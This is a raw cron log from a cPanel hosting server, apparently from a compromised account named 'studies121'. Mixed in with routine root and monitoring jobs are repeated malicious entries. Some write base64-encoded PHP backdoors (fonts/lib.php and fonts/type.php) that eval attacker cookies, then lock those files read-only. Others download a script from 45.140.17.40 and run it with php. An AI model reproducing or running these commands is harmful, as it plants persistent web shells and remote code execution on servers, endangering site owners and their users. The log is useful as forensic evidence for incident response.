Sep 21 04:15:01 ip-184-168-122-23 CROND[30428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:16:01 ip-184-168-122-23 CROND[30656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:16:01 ip-184-168-122-23 CROND[30657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:16:01 ip-184-168-122-23 CROND[30658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:16:01 ip-184-168-122-23 CROND[30662]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 04:16:01 ip-184-168-122-23 CROND[30661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:16:01 ip-184-168-122-23 CROND[30660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:17:01 ip-184-168-122-23 CROND[30824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:17:01 ip-184-168-122-23 CROND[30823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:17:01 ip-184-168-122-23 CROND[30825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:17:01 ip-184-168-122-23 CROND[30826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:18:02 ip-184-168-122-23 CROND[30943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:18:02 ip-184-168-122-23 CROND[30946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:18:02 ip-184-168-122-23 CROND[30947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:18:02 ip-184-168-122-23 CROND[30945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:18:02 ip-184-168-122-23 CROND[30949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:19:01 ip-184-168-122-23 CROND[31094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:19:01 ip-184-168-122-23 CROND[31095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:19:01 ip-184-168-122-23 CROND[31098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:19:01 ip-184-168-122-23 CROND[31100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:20:01 ip-184-168-122-23 CROND[31288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:20:01 ip-184-168-122-23 CROND[31290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:20:01 ip-184-168-122-23 CROND[31291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:20:01 ip-184-168-122-23 CROND[31298]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 04:20:01 ip-184-168-122-23 CROND[31296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:20:01 ip-184-168-122-23 CROND[31299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:20:01 ip-184-168-122-23 CROND[31297]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 04:20:01 ip-184-168-122-23 CROND[31301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:20:01 ip-184-168-122-23 CROND[31300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:21:01 ip-184-168-122-23 CROND[31599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:21:01 ip-184-168-122-23 CROND[31600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:21:01 ip-184-168-122-23 CROND[31603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:21:01 ip-184-168-122-23 CROND[31602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:22:01 ip-184-168-122-23 CROND[32034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:22:01 ip-184-168-122-23 CROND[32037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:22:01 ip-184-168-122-23 CROND[32036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:22:01 ip-184-168-122-23 CROND[32038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:22:01 ip-184-168-122-23 CROND[32045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:23:01 ip-184-168-122-23 CROND[32757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:23:01 ip-184-168-122-23 CROND[32758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:23:01 ip-184-168-122-23 CROND[32759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:23:01 ip-184-168-122-23 CROND[32760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:24:01 ip-184-168-122-23 CROND[707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:24:01 ip-184-168-122-23 CROND[708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:24:01 ip-184-168-122-23 CROND[709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:24:01 ip-184-168-122-23 CROND[711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:24:01 ip-184-168-122-23 CROND[714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:25:01 ip-184-168-122-23 CROND[1145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:25:01 ip-184-168-122-23 CROND[1147]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 04:25:01 ip-184-168-122-23 CROND[1149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:25:01 ip-184-168-122-23 CROND[1150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:25:01 ip-184-168-122-23 CROND[1151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:25:01 ip-184-168-122-23 CROND[1152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:25:01 ip-184-168-122-23 CROND[1153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:26:01 ip-184-168-122-23 CROND[1649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:26:01 ip-184-168-122-23 CROND[1651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:26:01 ip-184-168-122-23 CROND[1652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:26:01 ip-184-168-122-23 CROND[1653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:26:01 ip-184-168-122-23 CROND[1655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:27:01 ip-184-168-122-23 CROND[2100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:27:01 ip-184-168-122-23 CROND[2103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:27:01 ip-184-168-122-23 CROND[2101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
